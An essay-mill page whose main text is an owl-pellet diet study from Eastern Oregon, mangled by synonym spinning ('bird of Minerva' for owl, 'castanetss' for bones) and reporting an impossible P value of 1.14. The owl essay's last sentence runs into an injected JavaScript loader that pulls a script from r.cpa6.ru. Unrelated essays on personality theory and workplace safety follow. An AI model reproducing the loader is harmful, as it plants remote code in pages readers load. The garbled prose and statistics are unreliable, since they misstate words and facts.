The Comparison Of Diets Of Owl Essay free essay sample

, Research Paper Comparing the Feeding Habits of Barn Owls and Screech Owls Background Owls are comprised of two closely related households in the avian order Strigiformes-the barn bird of Minerva, or Tytonidae, and the typical bird of Minerva, or Strigidae. Owls are comparatively big birds, with a large caput and short cervix, a aquiline beak, talons adapted to prehend quarry, and soft, heavy feather adapted for Swift yet about soundless flight. Owls have big eyes located on the forepart of their face. The eyes are about fixed in their sockets, so that the full caput must be rotated or bobbed for the regard to be shifted and for distance to be assessed. Owls have first-class hearing and really big ears, although these are covered by plumes and are non readily seen. The ears are placed unsymmetrically on the caput to assistance in observing the location of distant, about soundless quarry. Their sense of hearing is likely besides aided by their facial disc, which helps to concentrate sound moving ridges onto the ears. We will write a custom essay sample on The Comparison Of Diets Of Owl Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page An bird of Minerva # 8217 ; s sense of hearing is so acute that it can accurately strike its quarry in entire darkness, following the squeaks and rustling sounds created by a little mammal in gesture. The sex of an bird of Minerva is non easy to separate, although typically, female bird of Minerva are larger than males. Owls Begin to incubate their eggs as they are laid. When hatching occurs it is consecutive, and different-sized immature are in the nest at the same clip. During old ages when quarry is comparatively abundant, all of the immature will hold plenty to eat and may last. In leaner old ages, nevertheless, merely the largest immature may be fed adequately. ( Egan, T. ( 1994 ) . Oregon, Foiling Forecasters, Thrives as it protects owls. New York Times, October 11, pg A1, A19 ) Most bird of Minervas are nocturnal marauders, largely feeding on little mammals and birds, and sometimes on little reptilians, toads, larger insects, and angleworms. A few specialised bird of Minervas feed on fish. Owls are known to alter their nutrient penchant, depending on local or seasonal handiness. Most owls do non digest the pelt, plumes, or castanetss of their quarry, and they regurgitate these points as pellets, which can be collected at roosts and examined to larn about the eating wonts of these birds. Barn bird of Minerva The barn bird of Minerva are a distinctive-looking group, with a characteristic like facial disc of stiff, white plumes, dark eyes, long legs that separate them from typical bird of Minerva. All barn bird of Minervas are nocturnal marauders, and their quarry consists largely of little mammals. There are nine species of barn bird of Minerva ( genus Tyto ) and two species of closely related grass bird of Minerva ( genus Phodilus ) . The most familiar species is the barn bird of Minerva ( Tyto alba ) . The barn bird of Minerva is one of the most widely distributed species of birds, happening on all continents except Antarctica. The barn bird of Minerva is the lone representative of this household in the Americas, happening uncommonly through most of the United States and in much of Central and South America. The barn bird of Minerva nests in pits in trees and in barns and abandoned edifices, and it hunts at twilight and at dark over fens, prairies, Fieldss, and farmyards. Screech Owl The screech-owl ( Otus kennicotti ) is a comparatively familiar species in forests of temperate parts. This 8.5 # 8243 ; ( 22 centimeter ) long species occurs in several colour phases-grey, ruddy, and brown-and it nests in pits and sometimes nestboxes. Owl Pellets The mean owl pellet contains castanetss and other non-digestible points such as hair and plumes. After the bird has eaten its quarry ; the quarry is digested into the ventriculus where grinding occurs. After crunching the bird # 8217 ; s ventriculus makes a ball of the indigestible stuff, is expelled by oral cavity. An mean bird of Minerva can bring forth an norm of one to two pellets a twenty-four hours. John Day, Oregon The John Day country is considered a semi-arid desert part. John Day, Oregon is located at Latitude 44.418427 and Longitude -118.949399, which is 125 stat mis south of Pendleton, Oregon in Eastern Oregon. A desert is an waterless land country, one that loses more H2O through vaporization, than it additions through precipitation-rain, sleet, or snow. These countries by and large receive fewer than 10 in ( 250 millimeter ) of H2O yearly. Average one-year precipitation in the universes comeuppances scopes from about 0.4-1 in ( 10-25 millimeter ) in the driest countries to 10 in ( 250 millimeter ) in semiarid parts. The term desert can besides be defined by comparing the solar energy an country receives with the its one-year precipitation Desert animate beings The many animate beings that have adapted to harsh desert life include insects, arachnoids, reptilians, birds, and mammals. Unlike workss, these animate beings can seek shelter from the searing Sun, firing cold, and strong air currents by creeping into belowground tunnels. Reptiles, whose organic structure temperature is controlled by the temperature of their environment, travel between sunshine and shadiness to remain cool. Birds, utilize metabolic H2O, behavioural versions, active at twenty-four hours or cool parts of the twenty-four hours, may be mobile and they may migrate during the harsher seasons. Merely as the seeds of desert annuals can remain hibernating for decennaries, so can those of egg-laying desert animate beings. Amphibians and freshwater runt hatch, mature, mate, and put their ain eggs rapid sequence in desert pools created by infrequent storms. Some little mammals, such as gnawers, excrete merely concentrated urine and dry fecal matters, and perspire small as a manner of conserving organic structure fluids. Desert insects protect themselves from hot dry conditions with a waxy coating, long legs that maintain them elevated above the hot land, and virtually moistureless eliminations. ( Watkins, T.H. ( 1995 ) . Desert Extraordinare. Audubon 97: 44-54. ) My inquiry is how make the Western Screech-owls and the Barn-owls diets compare. Both unrecorded in John Day part of Eastern Oregon, which make the same assortment and sum of quarry available to both of the bird of Minerva. I hypothesis that their diet will be really similar if non the same due to the same assortment of quarry that live in John Day Oregon. Both of the bird of Minervas have similar eating wonts that include quarries like Vole, mice, birds and occasional serpents. I will compare a survey done by Hancock Field Station in John Day Oregon on the types of nutrient that the Barn-owl chows in conformity to what they find in the bird of Minerva pellets verses what I find in five Western Screech-owl pellets. When I looked at the castanetss in the five different Screech bird of Minerva pellets, I was able to see what sort of animate beings they were from and therefore utilize these consequences against the consequences of the Barn owl prove done at Hancock Field Station. Comparing these two sets of informations will assist me reply my inquiry of how the diets of Screech bird of Minerva and Barn owls compare. Materials and Methods To happen out how the Barn bird of Minerva and the Western Screech-owl # 8217 ; s diets compare I collected owl pellets to happen out what the bird of Minerva are eating. I located Western Screech-owl pellets, but was non able to obtain any Barn bird of Minerva pellets from Eastern Oregon. In stead of Barn owl pellets, I located a survey done by the Hancock Field station in John Day refering the eating wonts of Barn owls. I so collected five Screech bird of Minerva pellets to dissect. When I finish dissecting the Western Screech-owl pellets I will hopefully be able to happen out the mean diet of a Western Screech-owl. To happen out what the bird of Minerva # 8217 ; diet utilizing the bird of Minerva pellet, the pellet must be dissected and the different castanetss and skulls examined. I used a dental choice and a brace of pincers to divide the hair and plumes from the castanetss and skulls. Once all castanetss were separated from the hair, I identified animate beings by utilizing size of bone, colour of dentitions, size of skull, and what sort of stuff surrounds the castanetss ( i.e. hair or plumes. ) Once the castanetss were identified I determined what type of animate being. Using this technique on all five Western Screech-owl pellets I was able to acquire an indicant of what the Western Screech-owl # 8217 ; s. Consequences The consequences I got were similar to the consequences the Hancock Field Station found on their experiment with Barn bird of Minerva. When my survey of the bird of Minerva pellets was complete I had two pellets that were mice, two pellets that were Vole and one pellet which was of a bird. When I studied the remains of the bird of Minerva in the pellets I identified all the castanetss that were present and came up with a decision. In pellet one I removed the followers: Number of Bones Type of Bones 1 Skull / gt ; 2 Pelvis Boness 2 Tibia with Fibula 2 Humerus 5 Lumbar Vertebrae 3 Thoracic Vertebrae 2 Cervical Vertebrae 6 Ribs 1 Xiphisternum A manner you can state that this animate being is a gnawer is by the animate being # 8217 ; s teeth being orange. Orange teeth are alone to gnawers and gnawers merely. This animate being besides had a smaller thirster and stouter skull, which ruled out Moles, Shrews and Voles. In pellet two I removed the followers: Number of Bones Type of Bones 1 Skull 1 Tibula with Fibula and Femer 2 Pelvis Boness 1 Radius Ulna 6 Lumber Vertebrae 1 Sacrum 2 Humerus 1 Femur 2 Cervical Vertebrae 3 Thoracic Vertebrae 4 Ribs 1 Radius with ulna This animate being besides had orange dentitions, but the skull was longer and dilutant. This ruled out a mouse and the orange dentition ruled out moles and termagants. The castanetss were besides bigger than a mouse so my decision was it was a Vole. In pellet three I removed the followers: Number of Bones Type of Bones 1 Keel 1 Tarsometatarus with Digits 1 Sternum 1 Tibiotarsus with Fibula and Femur 1 Claricle 1 Tibula 1 Femur 2 Wrist 1 Ulna with Radius This pellet had no skull but had a talon and a keel, which made it a bird. There were different castanetss found in this pellet than any other pellet. The different castanetss included Claricle, Carpus, Tibiotarsus, Tarsometatarus and a Keel. These castanetss ruled out any other animate being other than a bird. In pellet four I removed the followers: Number of Bones Type of Bones 1 Skull 2 Tibula with Fibula and Metatarsal 1 Pelvis Boness 1 Metacarpals 1 Tail 2 Femur 2 Humerus 2 Radius with Ulna 1 Tibia with Fibula 1 Scapula 4 Lumbar Vertebrae 5 Ribs 1 Thoracic Vertebrae The animate being in this pellet had a midst and long skull with orange dentitions. It besides had a longer tail with both pess. The orange dentition made it a gnawer and the size and form of the skull ruled out a Mole, Shrew and a Vole. After careful analysis of the castanetss and the skull I determined that the animate being whose castanetss were in this pellet was a mouse. In pellet five I removed the followers: Number of Bones Type of Bones 1 Skull 2 Tibia with Fibula 2 Pelvis Boness 2 Humerus 2 Femur 3 Lumbar Vertebrae 1 Sacrum 1 Thoracic Vertebrae 2 Cervical Vertebrae 4 Ribs 1 Radius Ulna This animate being besides had orange dentitions, but the skull was longer and dilutant. This ruled out a mouse and the orange dentition ruled out moles and termagants. The castanetss were besides bigger than a mouse so my decision was it was a Vole. When I finished placing all the castanetss I wanted to acquire a full count of what I found and how many of a idiot type of bone I found. The undermentioned chart is all my informations combined. Number of Bones Type of Bones 4 Skull 2 Tibula with Fibula and Metatarsal 7 Pelvis Boness 1 Metacarpals 1 Tail 6 Femur 8 Humerus 4 Radius with Ulna 3 Tibia with Fibula 1 Scapula 12 Lumbar Vertebrae 19 Ribs 10 Thoracic Vertebrae 6 Keel 1 Tarsometatarus with Digits 1 Sternum 1 Tibiotarsus with Fibula and Femur 1 Claricle 1 Tibula 2 Wrist 1 Ulna with Radius The Hancock Field Station surveyed 1,000 Barn-owl pellets. After dissecting them in the same manner I dissected the Western Screech-owl pellets they came up with the following informations: Type of Animal Number of Animals Vole 562 Mouse 284 Bird 154 ( Hancock Field Station ( 1999 ) A Survey in the Eating Habits of Barn-owls. Not Published ) After close rating of this information I came up with the ratio of 4:2:1 with Vole, mouse and bird severally. After I evaluated the informations given to me by Hancock Field Station I compared it to my ratio of 2:2:1 with Vole, mouse and bird severally. I used my ratio against the ratio I got from Hancock Field Station and used it in a eventuality tabular array. A eventuality tabular array is similar to a chi-square analysis, but expected informations is non required. Data is collected on two properties of the elements in a survey. When I entered my informations into a computing machine I got G = 0.707, P = 1.14, df = 5 which means that the two samples are non statistically different. Discussion When I began this experiment I wanted to cognize if the diet of Barn-owls and Western Screech-owl which both live in similar topographic points. I hypothesized that they would be similar because of the similar eating wonts of both Barn-owls and Western Screech-owls. I found that my consequences supported my hypothesis. The consequences I got were a 2:2:1 ratio with Vole, mice and birds respectfully. They compared to the trial done by Hancock Field station with the Barn bird of Minerva ; their consequences were a 4:2:1 ratio with Vole, mice and birds respectfully. My consequences do non to the full reflect the eating wonts of Screech owls that unrecorded in John Day. Due to the deficiency of bird of Minerva pellets, I was non able to acquire a full representation of what Western Screech-owls eat. To to the full stand for the eating wonts of the Screech bird of Minerva, I would necessitate 200-300 pellets. This survey is of import to happen out what the bird of Minerva in John Day Oregon eat. The consequences I got showed what the Western Screech-owls eat verses what the Barn-owls eat. Scientists need to cognize this to see if there is adequate quarry in John Day to back up both the Screech and Barn owl population. If there is a deficiency of quarry there would be competition between Barn and Screech bird of Minerva, and that might take to a lessening of one type of bird of Minerva in John Day Oregon. If there was a lessening in the owl population in John Day, it could perchance throw off the whole ecosystem in non merely John Day but besides all of Eastern Oregon. So cognizing what the Barn bird of Minerva eats verses what the Screech bird of Minerva chows is imperative in maintaining non merely the prey population but besides the ecosystem in Eastern Oregon where it should be. Ecosystems and communities within a idiot system take 100s of 1000s of old ages to develop. But if one anima te being becomes nonextant due to the fact that it has to many marauders, the branchings of the animate being # 8217 ; s extinction could last for 100s of 1000s of old ages. So it is of import to cognize how many marauders a idiot animate being has so you can do certain there is adequate quarry for the marauders. If you run out of quarry, the marauder starts to decease off and a whole prostration of the nutrient web happens and it has a immense consequence on the whole ecosystem. Some failings that occurred in my experiment were a deficiency of Western Screech-owl pellets. Some other failings might be the truth of the Hancock Field station experiment affecting the eating of Barn bird of Minerva. To to the full acquire an accurate consequence in this experiment I would necessitate to roll up 200-300 pellets from the Barn Owl and the Western Screech-owl. I would necessitate to do certain that the pellets were gathered in the same country during the same clip. I conclude that the feeding wonts of the Screech bird of Minerva and the Barn bird of Minerva are similar, but non precisely the same. Even though they might hold a similar feeding wonts could non be precisely the same. Different Owls provender on different things harmonizing to the owls size, flight velocity and oculus sight. The Barn Owl might eat more mice and Vole seeing how it nests in a barn and non out in the unfastened. The Western Screech-owl might eat more serpents and other outside animate beings. The nesting topographic point effects the eating wonts of Owls as do other factors. I can reason that they are similar, but can neer turn out they are the same. Further experimentation would be needed to acquire an perfectly accurate consequence and comparing between the Barn owls feeding wonts and the Screech owls feeding wonts ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

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Trait researchers usually study the processes behind the behaviour related with a specific trait. For example, some psychologists are keen in examining the underlying concerns of shy people which keep them away from the social world (Burger, 2010). Nonetheless psychodynamic theories stress upon the importance of early childhood experiences, the significance of repressed feelings and internal disputes between the conscious and unconscious forces that manipulate our thoughts and behaviour (Plotnik Kouyoumdjian, 2010). Therefore one can state that trait theory focuses on indentifying the mechanisms underlying behaviour while psychodynamic theory emphasizes on describing personality and predicting behaviour instead of explaining why people behave the way they do. Early research has shown that natural physical endowment is more important than environment in determining personality in the sense that it is not simply likely to produce a light or superficial impact on the image that an individual projects vis-Ã  -vis others in the society but rather it is the prime factor which decides whether he or she will be favourably or unfavourably perceived by others in the community. However ownership of a specific trait does not guarantee success in a specific field; for example, honesty, self-confidence and the ability to motivate others are some of the few characteristics which determine leadership. More recent research study showed that an individual possessing the traits mentioned above does not necessarily score high on leadership performance. Combination of both the leadership traits and management skills are needed to create effective leaders (Novick, Morrow Mays, 2007). On the other hand, Freuds psychodynamic theory emphasize hugely on the disp utes between conscious and unconscious forces that manipulate our views and actions (Plotnik Kouyoumdjian, 2010). Thus one can claim that trait theories integrate both the nature and nurture approach when shaping personality while psychodynamic theories rely mainly on the conscious and unconscious forces guiding an individuals behaviour. To conclude; trait theorists are more concerned with indentifying individual characteristics which when combined can be used to describe personality. Proponents of the psychodynamic theory rely heavily on the dynamic forces of the subconscious to explain the perceptions, and behaviours of individuals. These behaviours can lead people to behave in ways that are ineffective and even self-destructive (Mischel, 1996).

Contemporary occupational health and safety Essay

What role did the state, the employers and the workers play in establishing the contemporary occupational health and safety regime? In the 1960s workers in the United States sought state laws to compensate their disabilities due to poor working conditions that lead to Black lung disease. The workers were successful and this win was instrumental in passing the 1970s United States Occupational Health & Safety act, and subsequent policies in other countries including Canada. This paper will discuss the events that took place following this important act. workers, State and Employers role A surge in workers injuries led to young workers demanding improved health and safety conditions. Although employers initially denied the poor working conditions and rejected requests for testing of harmful substances, the workers were persistent and eventually brought awareness and reform to industrial safety concerns. A critical event in Canada’s Occupational Health and Safety (OHS) movement took place in 1973 when a large amount of mine workers were diagnosed with cancer from exposure to dangerous materials at work. This led to a worker strike and resulted in the mining company and workers coming to an agreement that addressed both worker and union concerns with toxic substances. The workers believed that the government should be their health and safety monitor, and felt that up until this point the government had failed to look after the workers interests. In 1974, the acting government (Progressive Conservative Party) was pressured by the New Democrat Party (NDP) and the United Steel Workers Association to establish a Royal Commission into the health and safety rights of Ontario’s workers. This led to a report that called for government action for OHS policies and legislation. conclusion There were many factors that contributed to the OHS movements, but none as important as the workers fight. Robert Storey (2005) discussed some of the  key aspects in his paper ‘Activism and the making of occupational health and safety in Ontario’: â€Å"The health and safety movement that began to take shape in the late 1960s and early to mid 70s represented a mixture of several unique ingredients. First activism was based almost exclusively in mining and secondary industry, especially steelmaking and workplaces that utilized asbestos in the fabrication of their products. Always among the most dangerous and unhealthy places to work, the attempts by employers in these sectors to speed up production were resulting in notable increases in accidents and injuries. Second the workers who took out the health and safety cause any sectors were young working class males.† He discussed as the young men became aware of their parents poor health conditions, it raised their interest towards their own health and the need for better work conditions. It was their unwillingness to accept injury, disease and death caused by poor work conditions, that led to the safety regulations that Canadian workers benefit from today. References Storey, Robert (2005) Activism and the making of occupational health and safety in Ontario, 1960s-1980 Policy and Practice in Health and Safety (pp 41-68) Essay 1.2 – Why are some workplace hazards and conditions more readily recognized than others? In particular, discuss the issues of women in the workplace and workplace pollution. Workplace Hazards A workplace hazard is a dangerous situation that exposes a worker to potentially harmful condition. Workplace hazards can be identified in several categories including physical hazards (tripping), biological hazards (exposure to viruses), chemical hazards (exposure to toxic chemical) and though it is often overlooked, psychosocial hazards (verbal abuse). Through the industrial revolution, workers were exposed to new technologies that resulted in new and increased workplace hazards. However it is not only the technology that caused these hazards, but also the competitive nature of  capitalism to minimize costs, at the cost safety and working conditions. Foster (2011, page 5) also point out that â€Å"the use of new chemicals and compounds also brings a new kind of hazard to the workplace – the occupational illness†. Women in the Workplace We often relate workplace hazards to jobs that involve large machinery and extreme working conditions. However working as a Hotel housekeeper changing bedding all day or doing data entry in an office can also be hazardous to the workers health, it is just not as easily recognized. Foster (2011, page 15) states that â€Å"In general, men and women do perform different types of work, but the differences in their reported injury rates are not because one type of work is less dangerous than the other. The discrepancies are due mainly to our gendered notions of work, danger, and the human body, and so we need to look at work and its hazards differently. Of the disabling injury claims in Alberta in 2008, only 27 percent were women even though women make up 45 percent of the workforce. Because the male dominated jobs like working construction are viewed as more dangerous, these types of jobs are more likely controlled with health and safety standards and hazards more easily recognized and reported. Workplace Pollution Workplace pollution is the presence of hazardous materials within a workplace that may get in contact with people while performing their job. Such workplace pollutants may affect both the worker’s and surrounding communities health. Foster (2011, page 10) explains that workplace pollution differs from other hazards â€Å"both in its nature and its consequences for workers†. Physical hazards (ie: falling off a platform or cutting your hand) are easily recognized, but workplace pollutants are difficult to recognize as they are often odorless, silent or invisible. Exposure to hazardous materials can occur through breathing polluted air, contact with toxic materials, accidental ingestion of toxins or excessive noise that can affect a worker’s hearing. The most common workplace pollution occurs from breathing polluted air. A large amount of workplace illnesses go unreported, as even the workers and doctors may not be able to make the connection of their illness to exposure to toxins in the workplace. What further complicates this, is when symptoms don’t appear for years after exposure.  Other issues with properly identifying the cause of illness is that the science behind a condition may be unknown or contested, or the fact that exposure to toxins can result in a variety of side effects depending on the individual. Conclusion There are several ways to improve workplace hazards for jobs that are not easily recognized as dangerous, such as the ones we discussed above. However it is not an easy solution. As women have been striving for equal rights and equal pay among many other things when it comes to our male counterparts, this sometimes comes with a catch. For example there may be specific safety concerns for a pregnant women to perform a physically demanding job, that would not be a concern for a male. By requesting special treatment for a pregnant women, it weakens women’s equality efforts. In my opinion, decreasing workplace pollution is a little more straight forward, especially with new technologies available. Monitoring equipment and laboratory testing can test for avoid workplace pollutants, that would lead to severe health issues to workers and potentially surrounding communities. As social responsibility is an increasingly important part of a company image to the social and investment community, it helps workplace hazards get the attention, funding and education required to reduce workplace hazards. References Foster, J (2011). Industrial Relations 308, Study Guide Athabasca University Unit 1 Notes Workplace Pollution. Retrieved May 5, 2013 http://www.environmentalpollutioncenters.org/workplace/ Workplace Hazards. Retrieved May 5, 2013 http://humanservices.alberta.ca/working-in-alberta/3109.html